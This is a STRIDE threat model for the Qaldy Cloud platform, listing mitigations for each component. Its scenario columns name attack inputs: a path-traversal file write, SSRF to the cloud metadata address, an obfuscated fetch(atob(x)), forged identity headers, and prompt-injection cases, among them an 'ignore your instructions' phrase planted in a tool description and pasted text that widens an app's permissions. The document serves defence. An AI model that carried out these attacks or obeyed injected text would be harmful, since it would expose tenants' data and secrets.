Menu QaldyDocs

Threat model

The STRIDE threat model for every component of Qaldy Cloud: what is protected, how, which proof checks it, and what is still planned or accepted as a risk.

What Qaldy Cloud defends, against whom, with which layers, what an attacker who gets one employee account could reach, and which of this is proven and where. Last reviewed 2026-10-18.

This is written to be read by a customer's security reviewer. It is not an audit, a penetration test or a certification: none of those has happened yet, and nothing here should be read as claiming one. Every row says whether the safeguard is built, planned or an accepted risk, and the proofs say where they ran.

The promise this document defends: app code never sees a secret, can't reach anything its manifest doesn't name, can't be opened by anyone the share graph doesn't allow, every action lands in a tamper-evident log, and data stays in the workspace's cell. The last part is Planned for Kazakhstan; see "Residency".

Where things run today (the pilot cell, since 2026-10-17): the console is a Cloudflare Pages site (app.qaldy.com); the API and MCP server run on one AWS host in eu-central-1 behind a Cloudflare tunnel; the gate runs on its own host in the same account; the runtime host is a Cloudflare Worker; Postgres is RDS; apps are served from a temporary domain. There is one cell and one maintainer. The pilot is invite-only.

1. Layers

Each layer assumes the one outside it has failed.

LayerWhat it isWhat it stopsStatusCode and proof
EdgeCloudflare in front of every public name; the API and gate hosts accept traffic only through tunnels (no inbound ports)Direct hits on origin hosts, plain-HTTP, volumetric noisebuiltinfra/aws/security_groups.tf, infra/cloudflare/; proof L15
Sign-in and sessionsEmail one-time code or Google; cookie HttpOnly, Secure, SameSite=Lax; Origin check on every changeStolen-cookie CSRF, development login in productionbuiltapps/api/src/http/middleware.ts, ADR 0011; proofs L3, L4, L5
AuthorizationOpenFGA decision on every object; an unknown id, or one in another workspace, answers 404Cross-workspace reads (IDOR), privilege creepbuiltpackages/authz, apps/api/src/http/access.ts; proofs A, B, B2, R, L7
SandboxApp code runs in a workerd isolate loaded by the Dynamic Worker Loader; its only exit is the host's egress entry pointApp code reaching the network, other apps' data or the host's keysbuilt (workerd alone is not a hardened boundary: see accepted risks)apps/runtime-host/src/load-app.ts; proofs C3, D
GateA Rust service on its own host with its own secret, in front of both app traffic and every outbound callUnauthenticated app access; any call to a host the manifest does not name; private addresses; token leaksbuiltcrates/qaldy-gate; proofs A, B, D, C2 to C6
Sealed secretsConnection keys are sealed (HPKE) to the gate's public key on receipt; the API holds no plaintext and cannot open them; they are never returnedA database dump or backup yielding usable credentialsbuilt (the gate's private key lives in Secrets Manager, not an HSM)ADR 0013, packages/crypto; proofs C1 to C5, L8
AuditEvery change writes a hash-chained row in the same transaction; append-only by trigger; signed daily checkpoints (ed25519, key outside Postgres); a copy of each checkpoint in an Object-Locked vault; streaming to the customer's own destinationEdited, removed or reordered history; a rewritten chain up to the last checkpointbuilt; the vault copy is not on yet: the API container has no AWS credentials (see Audit, gap 8)ADR 0018, 0027; proofs E1 to E3, L9, L10
BackupsNightly database dumps to the same Object-Locked bucket (Governance mode, 35 days); RDS point-in-time restoreDestroying history from inside with the API's own credentialsbuiltinfra/aws/s3.tf, infra/aws/host/api/qaldy-backup

2. What we protect

AssetWhere it livesWho can read it
Connection keys (a bot token, an API key)Postgres, sealed; plaintext only in gate memory for one requestThe gate. Not the API, not the console, not app code, not Qaldy staff through the product
Customer app data and app codePer-app SQLite behind the runtime host; bundles by content hashThe app, through its own binding; people the share graph allows
People and sessionsPostgres (emails, names, sessions)The API
The audit logPostgres, plus the customer's own copy if they stream itWorkspace admins
Platform keysSecrets Manager (API, gate, OpenFGA), Workers secrets (runtime host)The role of the host that needs each one
Prompts sent to the builderSent to the model provider chosen by the workspace policyThe provider; never stored beyond the build record

3. Who we worry about

ActorWhat they can doWhat stops them
Anyone on the internetReach the public names, guess ids, send malformed requestsEdge, 401 before any body is read, 404 for unknown ids, rate limits (proofs L2, L5, L6)
A signed-in member without rightsCall any routeServer-side authorization on every route; admin-only for security, keys and the panic button
An app author, or the agent writing the appShip hostile code, ask for more access, inject text into a promptStatic policy rules, a human-approved manifest, the sandbox, the gate's default deny; an app cannot approve its own widening
A coding agent holding a workspace tokenDo what the token's scope and the person's role allow, in one workspaceScoped, expiring tokens; no route that touches keys, tokens, members, sinks or the panic button accepts a token
A workspace admin who goes rogue, or whose account is takenShare widely, add a connection, point the audit log elsewhereEvery one of those is an audit row that streams out; keys they paste are write-only; the panic button revokes everything they handed out
A compromised dependencyRun code in the API, the gate or a buildExact pins and a committed lockfile; no install step for generated apps. Continuous provenance checks are planned
A connected service that misbehavesReturn a token in a reply, redirect, or point an allowed name at an internal addressThe gate scrubs replies, follows no redirects and re-checks the resolved address
Someone who gets one Qaldy employee accountSee the next sectionSee the next section

4. If one employee account is taken

The pilot has one maintainer, so this is the honest short answer: the account that can ship code can reach everything the cell holds, including the gate's private key. What that means, by account:

AccountWhat an attacker could read or changeWhat they could notWhat reduces it
GitHub (repo write)Change code and add workflows. A workflow can use the secrets and the cloud deploy role its environment exposes (the Cloudflare token, the email key, the AWS OIDC role), so this account is a path to the next two rowsFind long-lived cloud keys: there are none after bootstrap; secrets are not in the repo or in logsRequired reviewers on the deployment environments and a second maintainer: planned
AWS (console or a deploy role)Read the gate's private key from Secrets Manager, and so unseal stored connection keys; run commands on the hosts (Systems Manager); read the databaseOpen an inbound connection to either host (there are no inbound ports)Hardware-key admin accounts, KMS or HSM custody of the gate key: planned
The API host's own role (a bug in the API, or code running there)Write to the vault, read its secret, reach the databaseRead back, overwrite or delete anything in the vault; read the gate's secret (a separate role on a separate host)The vault bucket policy and the role's statements (infra/aws/iam.tf)
CloudflareChange DNS and routes, read Workers secrets, pause a tunnelRead the database or the gate's keyScoped API tokens; hardware-key sign-in: planned
A customer's workspace adminEverything in that one workspaceAnything in another workspace (404)The panic button; streaming the audit log out
A support or builder sessionThere is no support access to customer data in the product todayn/aPlanned: time-boxed access that is itself audited

What an attacker with database access only gets: ciphertext for every connection key, hashed tokens (HMAC with a server pepper), sessions, and the audit log. They can rewrite recent audit rows; they cannot do it undetected beyond the last checkpoint, and cannot touch checkpoints already copied to the vault. (The vault is in Governance mode for 35 days: an AWS administrator with the bypass permission could still remove a copy. Compliance mode, which nobody can shorten, is planned.)

5. Operational safeguards

Four features give an owner control after something goes wrong. All are admin-only, audited and console-only (a personal access token cannot use them).

  • Signed checkpoints and a locked copy. Once a day the end of each workspace's chain is signed with a key that is not in the database, and a copy is written to the Object-Locked vault. Verification names a chain that no longer matches a checkpoint. It cannot see events newer than the last one; streaming covers that gap.
  • Audit streaming and export. A signed webhook or, in Preview, the customer's own S3 bucket through a role they own; or a download of the whole chain as JSON Lines. pnpm audit:verify-export checks a copy offline.
  • Key rotation and expiry. A new key replaces the old one only after it works through the gate; admins record expiry dates and are reminded at 14 days, 3 days and on the day.
  • The panic button. Revokes every access token, backend key, other member session, connection key, model provider key, "connect an AI app" sign-in, open invite link, open guest link and inbound webhook secret in one transaction, with a typed confirmation and one audit row of counts.
  • Reads are recorded. Opening the audit log, the connection and key inventories, and exporting the chain leave an audit row (who, which view, how many; never the content).

Details and limits: docs/adr/0027-operational-security.md, docs/security/audit-streaming.md.

6. Proofs: what was shown, and where

A claim in this document that says "proof" names a test that re-runs. Where it ran is part of the record.

LedgerWhatWhere it ranLatest
docs/security/trust-ledger.json17 end-to-end proofs of the security model (pnpm test:trust): gate access, sharing and revocation, write-only secrets, egress, audit, the builder pathA developer machine, against local processes with development keys, PGlite and the offline builder2026-10-16, 17 of 17
docs/security/production-ledger.json15 proofs against the live cell, from outside, that change nothing (scripts/prod-proofs.mjs, .github/workflows/prod-proofs.yml)The pilot cell, from GitHub ActionsNot yet committed. A dry run from a laptop on 2026-10-18 passed the 10 proofs that need no credentials and failed one: security.txt was not served yet, which this change fixes

The production proofs cannot show anything about code paths that need a write (rotation, the panic button, streaming); those are covered by the API's test suite on an in-process cell, not by a live proof.

Proof ids used below: the T-numbers are claim ids in this document; the ledger ids are in docs/security/trust-ledger.json.

IDClaimShown by
T1A user with no tuple on the app gets 403 at the gate; no app code runsledger A
T2After a share the same user gets 200; after unshare, 403 again once the cache TTL passesledger B, B2
T3Token bytes are absent from the bundle, the isolate's env, globals and every replyledger C3, C4
T4fetch('https://example.org') returns 403 egress_blocked, with an event and an audit rowledger D
T5pnpm audit:verify passes over every row; tampering with one fails at that rowledger E1, E2, E3
T6A raw TCP connect() from the isolate failsnot in the ledger yet (planned)
T7Gate stdout/stderr and spans contain no token bytesledger C6
T8A tainted AI run's external send needs a matching approvalplanned
T9A run that read a table the owner labelled is refused at any destination not allowed for that label, also under another run id; an allowed send stays within the request and run limits; each decision is an audit row of namesnot in the ledger yet: pnpm test:trust steps I1 to I3 (Preview), run on a developer's machine
FGARole inheritance, user:* is can_view only, removing a member revokesfga model test on packages/authz/model.fga.yaml
AUDEditing, deleting or reordering a row, or rewriting a chain, is detected@qaldy/db audit tests, apps/api/tests/audit-checkpoints.test.ts
HPKETS seals and Rust opens the same vectors; tampered ciphertext, wrong key id or aad failtests/vectors/hpke.json, in CI
POLEvery profile and workspace policy yields the expected cell, providers, redactionresolvePolicy tests in @qaldy/contracts
BLDOne failing fixture per builder static rule@qaldy/builder
GATEHandoff replay and expiry, context signatures, action allowlist, private-IP denialcargo test -p qaldy-gate
HOSTUnsigned or expired context rejected; a bundle whose hash differs is refused@qaldy/runtime-host tests
APICross-workspace reads 404; share needs can_share; 429 on rate limit; publish refused below Trust Score 60@qaldy/api tests
DBconnector_secrets has exactly four columns; no plaintext column anywhere@qaldy/db schema test
OPSRotation swaps only after a working call; the panic button revokes everything and keeps the pressing session; checkpoints catch a recomputed chain and a cut tailapps/api/tests/key-hygiene.test.ts, audit-checkpoints.test.ts
L1 to L15The live-cell proofsscripts/lib/prod-proofs.mjs

How to read the status columns below. built: in the code, with the named proof; if the proof is not green, PROGRESS.md says so. planned: designed, not built. accepted-risk: known, bounded, reason given; to be revisited before the first paying workspace.

7. Trust boundaries and keys

IDBoundaryControl at the boundary
B1Browser ↔ console originBetter Auth session cookie, Origin check on mutations, CORS = console origin only
B2Browser ↔ user-content domain (*.apps.localhost, *.qaldy.app)Gate ingress: one-time handoff, per-host cookie, FGA can_view
B3Gate ingress → runtime-hosted25519-signed context {user, app, version, exp}
B4App isolate → runtime-hostglobalOutbound is the only exit; isolate env holds no secrets or keys
B5Runtime-host → gate egressed25519-signed context {app, version, workspace, run, exp} (ADR 0014) plus flow {scope, reads}: the tables the host recorded the isolate reading, for the information-flow policy (§10a); tainted for the trifecta rule once §10 lands
B6Gate egress → third-party APIsrustls, fixed upstream host per connector, checked resolved IP
B7API → Postgres, OpenFGA, BifrostInternal network, service credentials
B8Builder → LLM providerPrompt out, untrusted text back; provider chosen by resolvePolicy
B9Cell → global directoryworkspace_id → cell and billing ids only; no personal data
B10Tenant ↔ tenant in a sovereign cellFirecracker microVM per tenant (planned, ADR 0005)
KeyHolderPurposeLocal developmentPilot cell
Gate HPKE X25519 private keyGate onlyOpen sealed connector secretsFile outside the repo, path from envSecrets Manager, readable only by the gate host's role (KMS or HSM custody: planned)
Gate HPKE public key (key_id)APISeal secrets on writeAPI configSecrets Manager (API secret)
Handoff key (ed25519)API signs, gate verifiesB2 one-time handoffEnvSecrets Manager (API secret)
Ingress context key (ed25519)Gate signs, host verifiesB3EnvSecrets Manager (gate secret)
Egress context key (ed25519)Host signs, gate verifiesB5; never passed to isolatesHost envWorkers secret
Audit checkpoint key (ed25519)API signs; anyone verifies with the public keyDaily checkpoints (ADR 0027)Derived from the dev API keyQALDY_AUDIT_ED25519_SK in the API secret when set, otherwise derived from the API signing key (the Security screen says which)
Webhook and sink signing secretsAPI (sealed under a key derived from QALDY_KEY_PEPPER)Inbound webhook checks; audit-stream signaturesDev pepperSecrets Manager (API secret)

8. Components, one table each (STRIDE)

8.1 qaldy-gate: ingress

Assets: handoff tokens, per-host session cookies, ingress signing key, FGA decision cache. Boundaries: B2, B3.

ThreatScenarioMitigation in QaldyStatusProof
SReplayed handoffLeaked ?handoff= URL reuseded25519 token signed by the API over {sub, host, jti, exp} (ADR 0007), expiry ≤ 60 s, jti consumed on first usebuiltGATE, T2
SCookie reuse on another appCookie for app A presented to app BHost-only cookie (no Domain), HttpOnly, SameSite=Lax, opaque id bound to its host; __Host- + Secure over TLSbuiltGATE
TForged identity headersClient sends x-qaldy-user: adminGate strips every inbound x-qaldy-* header; host trusts only the signed contextbuiltGATE, HOST
TContext tamperingUser or version edited between gate and hosted25519 over canonical JSON, exp 60 s; host rejects anything that doesn't verifybuiltHOST, T1
RDisputed access"I never opened that app"Audit row per session start and per deny: user, app, version, client IPbuiltT5
IStale grant after unshareAccess continues after removalFGA cache TTL ≤ 5 s, flushed on share.changed; residual window is the TTLaccepted-risk (≤ 5 s)T2
IStale grant during a control-plane outageThe API is down, so a removal just before the outage is not seenA remembered Allowed is used only on a transport error, timeout or 5xx, never in place of a 4xx or a deny; it is cleared by every share.changed invalidation; at most 30 minutes (--stale-authz-secs, 0 turns it off); people never seen get a 503, not access (docs/backend/degraded-mode.md)accepted-risk (≤ 30 min, only while the API is unreachable)GATE
DRequest flood on an app host (denial of wallet)Traffic exhausts the gate or runs up the workspace's billConnection limit and 1 MiB body cap; the shield (docs/backend/cap-guard.md): per-person, per-address (IPv6 as /64, CF-Connecting-IP believed only from a non-public peer) and per-app token buckets, a per-app daily cap, header-only bot rules, a flood detector that puts the app to sleep and emails the owners; refused requests are not billed. Memory-bounded and per gate process: with several replicas each keeps its own buckets (a shared limiter is planned)built (beta, not load-tested on the pilot)GATE
EPublic access without policyOwner of a Bank app sets "anyone with the link"user:* is written only by the API after workspace policy and public-safe archetype checks; gate only evaluates can_viewbuiltFGA, API
EA public link on an app that answers strangersAn app serves /export with no check of ctx.user, and its owner turns on "anyone with the link"Before user:* is written the API needs a finished exposure check of the current version (< 24 h, no high finding) and the app's name typed back, naming the check that was shown. The check runs the version in a sandbox copy of the runtime host (empty database with planted marker rows, deny-all network) and asks it questions with no sign-in, as a viewer and as the owner. A high finding refuses the link in a sentence that names it (§3.9)built (beta)API, HOST, BLD

8.2 qaldy-gate: egress

Assets: HPKE private key, plaintext tokens (in memory, per request), policy cache, connector routing table. Boundaries: B5, B6.

ThreatScenarioMitigation in QaldyStatusProof
SApp impersonates another appRequest claims app=B to use B's token{app, version, workspace} bound by the host at load time and signed with a key the isolate can't read; the run id comes from the SDK as a claim, and the gate checks it names an active run of that version (ADR 0004)builtT3, GATE
TAllowlist widened in placeManifest of a live version editedManifest is immutable per app_version, bound to bundle_hash; wider access needs a new version, approval and Trust ScorebuiltAPI
RUntraced outbound callCall leaves no recordEvery allow and deny writes an audit row + event: app, version, run, connector, action, host, upstream status. Never payloads or headersbuiltT4, T5
IToken in logsTelegram token sits in the URL path bot<TOKEN>Tracing records the route template (telegram/sendMessage), never upstream URL or headers; plaintext zeroized after usebuiltT7
IToken echoed backUpstream error or redirect contains the tokenNo redirect following (today); exact token bytes scrubbed from upstream headers and body (planned)built / plannedGATE
ISSRF via an allowlisted nameDeclared domain resolves to 127.0.0.1, 10/8, 169.254.169.254, or rebinds after the checkGate resolves DNS itself, rejects loopback, private, link-local, CGNAT, multicast and metadata ranges (v4 and v6), connects to the checked IPbuiltGATE
DRunaway app loopApp sends 10,000 messagesPer-run egress call cap and per-connector rate limitplanned—
EUnrequested connector actionManifest has telegram.sendMessage; app calls deleteMessageGate matches {connector, action} against the version's manifest; anything else is 403 egress_blockedbuiltT4, GATE
EExfiltration via an allowed endpointApp posts rows to its declared CRM domainNot stoppable at the network layer. Each extra domain needs a reason, shows as a sentence on the manifest card and lowers Trust Score; AI apps fall under §10. Data the owner labelled sensitive is held to the information-flow policy (§10a): after a read, only the destinations the owner allowed for that label, in small amountsaccepted-risk; Preview for labelled dataBLD, T9, GATE
ILabelled data leaves with a run that read itA prompt-injected or careless app reads customers, then posts them to a host the manifest lists, a model, or Telegram§10a: the gate keys the run on what the host signed, refuses any destination not allowed for the label, caps request and run size, records each decision; the owner sees the flow per appPreviewT9, GATE, HOST

8.3 runtime-host (workerd, Dynamic Worker Loader isolates)

Assets: bundles, isolate memory, egress context key, per-app db binding. Boundaries: B3, B4, B5.

ThreatScenarioMitigation in QaldyStatusProof
SGate bypassRequest sent straight to the hostHost binds to loopback/internal network and refuses requests without a valid ingress contextbuiltHOST, T1
TBundle substitutionCache holds a different bundle under a versionLoader cache keyed by {workspace}/{app}/{bundle_hash} (ADR 0004); host recomputes the sha256 of every fetched bundle before loading and fails closed on mismatchbuiltHOST
TPoisoned bad-day copySomething else that can write the zone's Workers cache plants a bundle naming another app, read while the API is downThe copy is read only when the API cannot be asked; it is sealed with an HMAC keyed from the host's own secret over the version id and exact body, then checked like a fresh fetch (hash, app and workspace against the signed context)built (beta)HOST
RUnattributed runEvents can't be tied to a runHost mints the run id when a run starts; every event and egress context carries it (on egress as a gate-checked claim, ADR 0004). Events come from the host's service credential, never from app code directlybuiltT5
ISecret read by app codeApp dumps env and globalsLoaded worker's env holds only the app-scoped db and SDK plumbing; keys and secrets stay in the host's own envbuiltT3
ICross-app data accessApp A opens app B's SQLitedb binding built per app id by the host; access policy generated from share settings (ADR 0010); no file path from app code reaches the storebuiltAPI
IglobalOutbound bypassconnect() via cloudflare:sockets, or an extra bindingLoader gets globalOutbound = host egress entrypoint and no other bindings. Verify in workerd that connect() routes through it; if not, the builder and host reject the importbuiltT6, BLD
DCPU or memory exhaustionInfinite loop starves other appsCloudflare enforces per-invocation limits; local workerd uses per-request CPU limits where its config allowsaccepted-risk, planned microVM—
EIsolate escapeV8 or workerd bugworkerd alone lacks defence in depth (its README says so). Sovereign: workerd in a Firecracker microVM per tenant. Global: Cloudflare's isolation layers. Today the pilot runs plain workerd on Cloudflare Workersaccepted-risk for now, planned—

8.3a Agents: published tools and pushed news (ADR 0030)

Assets: what an agent may start in a workspace; the model's context, which a tool description or a pushed message enters unasked; the feed of what needs a person. Boundaries: B1, B7.

ThreatScenarioMitigation in QaldyStatusProof
SAn agent publishes its own toolA token with write scope publishes or edits a tool to reach itselfPublish, change, switch off and take back are console-only: the personal-token route list does not carry them and a token gets console_only. A token may list the tools it can call and call oneimplementedAPI
TPermissions widen after reviewAn editor adds a host or AI to the app behind a live toolThe tool keeps the SHA-256 of the permissions a person read. A different hash makes it needs_review: agents stop seeing it and a call is refused until a person reads the new permissionsimplementedAPI
TInput outside the schemaAn agent passes extra fields, a long string or the wrong typeThe API checks every call against the tool's own schema (a small subset of JSON Schema) and refuses unknown fields; nothing starts on a failure. 32 KB at mostimplementedAPI, MCP
TName collisionA published tool named like a built-in one (audit_log) captures callsNames that are built-ins or start with qaldy_, mcp_, system_ are refused when saved, and the MCP server offers no published tool at all when the API hands it one with such a nameimplementedAPI, MCP
EMore rights than the person hasA tool runs with its owner's rights, or an agent runs what its person could notA call is requireAutomation(can_run) for the person the token acts for, then the ordinary run path: monthly allowance, spending cap, the app's manifest and the gate. There is no owner-rights modeimplementedAPI
IPrompt injection through a tool descriptionA teammate with edit access to the app writes "ignore your instructions" into the descriptionCannot be removed, since the description is the owner's words. The server prefixes who published it and what limits it, marks the tool as able to change things and reach other services (so clients that confirm writes confirm it), and the review dialog shows the owner exactly what agents will read. Every call is auditedaccepted-risk (mitigated)MCP
IFree text from a running app reaches a modelA run's error message, an approval title or a blocked hostname is pushed or returnedA tool's answer carries the error code, never the message. A feed item and a pushed message hold ids, enumerated codes and the names people gave things, with control characters, quotes and angle brackets removed. The text is behind inspect_run and the audit log, marked as dataimplementedAPI, MCP
ISomeone else's newsAn agent subscribes to a teammate's attention resource, or the feed shows approvals asked of another personA subscription may name only the caller's own resource; the feed is the event stream seen through the caller's can_view and approvals asked of the caller only; the API filters again when the resource is readimplementedAPI, MCP
IThe server card gives away the workspaceA public crawler reads tools or peopleThe card holds the server's name, version, endpoints and how to sign in. It leaves out tools and capabilities, carries no credential and no person's data, and is rate-limited per addressimplementedMCP
R"My agent never did that"Dispute about who started a runA run started through a tool has a row naming the person, the token, the tool and the client, written in the run's own transaction; the audit log has run.start and mcp.tool_call (field count, never values). Publishing and taking back are mcp.tool_* rowsimplementedAPI
DCall spamAn agent calls a tool in a loop30 calls a minute for one person and tool (429 tool_rate_limited) on top of the monthly allowance and spending capimplementedAPI
DLong polls hold the APIMany subscribed agents each hold a requestAt most 3 waits per person, 3 streams per token and 256 per process; the watch backs off when an answer comes back too fast to be a long poll and stops when the stream ends; one audit row per ten minutes for a polling tokenimplementedAPI, MCP

8.4 API and control plane

Assets: users and emails (PII), sessions, OpenFGA tuples, sealed secrets, audit chain, LLM provider keys, Bifrost virtual keys. Boundaries: B1, B7, B9.

ThreatScenarioMitigation in QaldyStatusProof
SSession theft or CSRFCross-site POST to a share routeCookie HttpOnly, Secure (TLS), SameSite=Lax; mutations require Origin = console originbuiltAPI
SDev login reaches productionMissing OAuth keys in prodDev login exists only with no OAuth keys and QALDY_ENV ≠ production; the route is not registered in production, and the API refuses to boot there with QALDY_DEV_LOGIN set (ADR 0011)builtAPI
TUnauthorized shareA runner writes tuplesShare routes require can_share (owner); user:* also needs workspace policy + public-safe archetypebuiltFGA, API
TAudit row editedDB writer changes one rowhash = sha256(prev_hash ‖ canonical_json(event)); pnpm audit:verifybuiltAUD, T5
TAudit tail rewrittenDB owner recomputes the chain from row nAPI role gets INSERT, SELECT only and a trigger rejects UPDATE/DELETE/TRUNCATE; a daily ed25519-signed checkpoint (key outside Postgres) fails verification when the chain up to it no longer matches or its end was cut, and a copy of each checkpoint goes to an Object-Locked vault where the API role cannot read, overwrite or delete it (ADR 0018, 0027). Events newer than the last checkpoint can still be rewritten by someone with database access unless the customer streams the log out; the vault is Governance mode, so an AWS administrator with the bypass permission can remove a copybuilt; vault copy needs QALDY_AUDIT_VAULT_BUCKET and AWS credentials the API container does not have yet (gap 8); Compliance mode plannedAUD, OPS
RAdmin denies a change"I didn't change sharing"Every mutation writes an audit row (actor, action, object, before/after) in the same transactionbuiltAUD
IIDOR across workspacesGET /v1/apps/:id for another workspacerequireFga(relation) on the object for every route plus workspace_id in every query; forbidden and unknown both return 404builtAPI
IPlaintext secrets at restDatabase dumpAPI holds only the gate's public key and seals on receipt; no plaintext column; reads never return secret fieldsbuiltDB, HPKE
ISecrets in logsRequest body loggedLogger redacts secret, token, password, authorization, cookie; connector secret routes never log bodiesbuiltAPI
DExpensive endpointsBuild, SSE or run spamRate limit per session and per workspace; SSE connection cap per user; DBOS queues with concurrency limitsbuiltAPI
EDirect OpenFGA or Postgres accessService reachable from outsideCompose network only, dev ports on 127.0.0.1; prod: private network + OpenFGA preshared keyplanned (dev defaults: accepted-risk)—

8.4a OAuth for remote MCP clients (ADR 0026)

Assets: workspace data an agent can read or change as the person who agreed; access and refresh tokens; the consent screen. Boundaries: B1, B7, B9.

ThreatScenarioMitigation in QaldyStatusProof
SApp pretends to be anotherAnyone registers a client named "Claude" with their own redirect addressA name an app gives itself is never trusted: the consent screen says "Not verified" unless the redirect address is one Qaldy recognises (claude.ai, chatgpt.com), and always shows where the browser goes nextbuiltAPI, console
SCode sent to a strangerA crafted authorize link with another redirect_uriExact match against what the client registered or published (only a loopback port may differ); a request that fails before the address is trusted never redirects to itbuiltAPI
TCode interception or injectionA stolen code is exchanged by another programPKCE S256 required, single-use code of 60 s stored as a keyed hash, bound to client and redirect address; a replayed code ends the grant it madebuiltAPI
TStolen refresh tokenA copy is used after the client rotatedRefresh tokens rotate on every use; the replaced one works for 30 s, then its use ends the grant (oauth.refresh_reuse on the audit log)builtAPI
TToken for another serverA token issued for one MCP server is shown to another, or ours is shown elsewhereTokens carry their audience (the MCP origin, RFC 8707); the API and the MCP server each refuse a token that is not for them; only an https origin is accepted in productionbuiltAPI, MCP
TAgent does more than the person allowedA read grant calls a write route; a grant outlives membershipA grant maps to personal-token scopes, so the route allowlist, scope check, workspace match and the person's live membership apply on every call; leaving the workspace ends the grantbuiltAPI
R"I never allowed that"Dispute about an agent's actionConsent, grant, revoke and refresh reuse are audit rows; every call is an mcp.call row naming the grant and the appbuiltAPI, MCP
ISSRF through the metadata fetchA client id URL points at the cloud metadata service or an internal hosthttps on 443, host names only, every resolved address must be public, the connection uses the checked address, no redirects, 5 s, 10 KBbuiltAPI
ITokens in logs or the databaseA dump or a log is readCodes and refresh tokens are stored as keyed hashes; access tokens are not stored; the audit rows hold ids and names onlybuiltAPI
DRegistration spamStrangers fill the client tableRate limits per address and in total; clients with no grant are removed after 14 days. Behind the tunnel the per-address limit is effectively globalbuilt, partly accepted-riskAPI
EA page drives the consent screenA web page posts a decisionThe decision route is console-only: cookie session and console Origin; a bearer token gets console_onlybuiltAPI

8.4c Try it without an account, and Web Push (ADR 0036)

Assets: the platform's capacity (a stranger gets a sandbox), the operators' links, visitors' network addresses, push subscriptions. Boundaries: B1, B7.

ThreatScenarioMitigation in QaldyStatusProof
EA trial escapes its sandboxA trial user calls connector, share, invite, token, plan or backend routes, or a new route nobody listedOne fail-closed guard after the session: reads in its own workspace, a short list of writes, everything else 403 trial_limited; the workspace policy also refuses connectors and model providers inside the builderbuiltAPI (try-it.test.ts)
ETrial becomes a free compute farmScripted starts, many apps, many runs, build spamOne app, 25 runs, 8 plans an hour, 120 requests a minute per trial; 3 starts per network per hour, 6 per day (database, HMAC of the address), 30 per link per hour, the link's cap by one atomic UPDATE, a ceiling on trials at once; a trial ends at 24 hours and is deleted 6 hours laterbuiltAPI
SGuessing or scraping linksToken search, an unfurler spending a trial256-bit tokens, only a SHA-256 stored; the offer route starts nothing; 20 unknown tokens per network per 15 minutesbuiltAPI
SA trial hijacks a real sessionAn operator opens a link while signed in409 already_signed_in: a trial never replaces a real session in the browserbuiltAPI
EA visitor claims someone else's workspace, or keeps a trial into an account they do not ownWrong code, a trial address as the targetThe claim needs the trial's own session and a valid email code (limited like sign-in); a trial address is refused; the move is one transaction after the new grant is writtenbuiltAPI
INetwork addresses of visitorsA database readOnly an HMAC (key derived from the auth secret) is stored, deleted with the trial row after a week; never in audit rows or logsbuiltAPI
TSpoofed visitor addressA client writes the proxy headerThe header is trusted only when QALDY_CLIENT_IP_HEADER names it, to be set when nothing but the proxy can reach the APIaccepted-risk (setting)—
IThe service worker keeps account dataA cached API response or a token in a cache keyIt handles same-origin shell files only, refuses /v1/ and /internal/, stores only plain 200s, never request data; a page is stored under one fixed keybuiltsw.test.ts, checked in a browser
SPush aimed at an internal addressA subscription whose endpoint is 169.254.169.254The API posts only to the browsers' push services (allow-list, https, port 443, no credentials, no redirects)builtAPI (webpush.test.ts, push.test.ts)
INotification text leaksAn error message with a secret on a lock screenFixed wording per language; the raw error never leaves the API; messages are encrypted to the one browser (RFC 8291)builtAPI

8.4d Replay and dead letters (docs/connectors/replay.md)

Assets: the input a failed run or a refused webhook call carried (it can hold personal data); the right to run an app again; the app's version history. Boundaries: B1, B7.

ThreatScenarioMitigation in QaldyStatusProof
ISomeone who may only view an app reads what a sender postedA viewer opens the dead-letter list or a letterThe input is returned only to people with edit access (list preview and detail alike), with Cache-Control: no-store; a viewer sees that a letter exists and its sizeimplementedAPI
IThe input leaks into logs or the audit logA replay or a refusal is recordedAudit rows hold ids, codes, the version and a size; the platform log and the run row never carry the input; a test searches the audit rows, the run and the logs for a markerimplementedAPI
IA letter in another app or workspaceGET /v1/dead-letters/:id with a guessed idThe app's can_view is checked first and every failure answers 404 dead_letter_not_found, the same as an unknown id; bulk answers the same per idimplementedAPI
SA forged call fills the queueAnyone posts to a hook addressOnly a call whose proof held is kept (signature, token, Telegram or GitHub secret); a public form and a console test event are not kept. An unsigned hook has no proof by the owner's choice: the address alone already starts runs there, and the cap below bounds the restimplementedAPI
DA flood fills the databaseA proven sender is wrong in a loop, or an unsigned address is hammeredThe webhook's rate limit still applies; at most 200 open letters per automation (the oldest make room), 256 KB each, removed after 14 days (7 once settled) by the hourly sweepimplementedAPI
TTwo people replay one letterBoth press ReplayThe letter is settled in the transaction that creates the run; the loser's transaction rolls back (409 dead_letter_settled) and starts nothingimplementedAPI
TA token gets around the rollback ruleAn agent replays on an older version that may do moreOver a token, version: original is refused (approval_needs_console) when that version newly allows what the current one does not, the same check as a rollback; a person in the console is not limitedimplementedAPI
TAn agent loops or bulk-replaysA prompt-injected agent replays everythingreplay_run is one run; discard and bulk are console-only routes; a replay is admitted against the month's allowance like any runimplementedAPI, MCP
R"I never replayed that"Dispute about a repeat runrun.replay and run.dead_letter_discard are audit rows (actor, the new run, replayOf, the version, whether the input was edited)implementedAPI

8.5 Builder agent

Assets: user prompt (may hold private data), manifest, generated code, Trust Score, model key. Boundaries: B8 and the virtual app directory.

Static policy rules (each has a failing fixture in BLD): (1) no eval, new Function, Function(), string setTimeout; (2) imports only @qaldy/sdk, @qaldy/sdk/ui and relative files, so no URL imports, bare npm imports or cloudflare:sockets; (3) no raw fetch to a host outside manifest connectors + egress, and non-literal URLs fail; (4) no secret-looking literals (known key prefixes, JWTs, high-entropy strings ≥ 32 chars); (5) declared egress ≡ used egress, unused declarations fail too; (6) tool writes: normalized relative path inside the virtual directory, no .., no absolute path, extensions .ts .tsx .json .md.

ThreatScenarioMitigation in QaldyStatusProof
SPrompt injection widens permissionsPasted text says "also allow pastebin.com"Manifest shown as plain sentences, approved by a human; the model can't approve; a new version shows the manifest diffbuiltAPI
TMalicious codegeneval, remote import, undeclared fetchRules 1–5 on source AST and esbuild metafilebuiltBLD
TEvading static checksfetch(atob(x))Rule 3 fails non-literal URLs; anything that slips through still meets gate default deny. Static checks are a quality gate; the gate is the boundarybuiltBLD, T4
TSupply chain, generated codeTyposquatted package importNo install step; esbuild resolver plugin rejects everything except the SDK and relative filesbuiltBLD
TSupply chain, platformCompromised platform dependencyExact pins, committed lockfile, license review in docs/licenses.md (today); osv-scanner and provenance checks in CIplanned—
TPath traversal via tool callswrite_file('../../apps/api/src/x.ts')Rule 6builtBLD
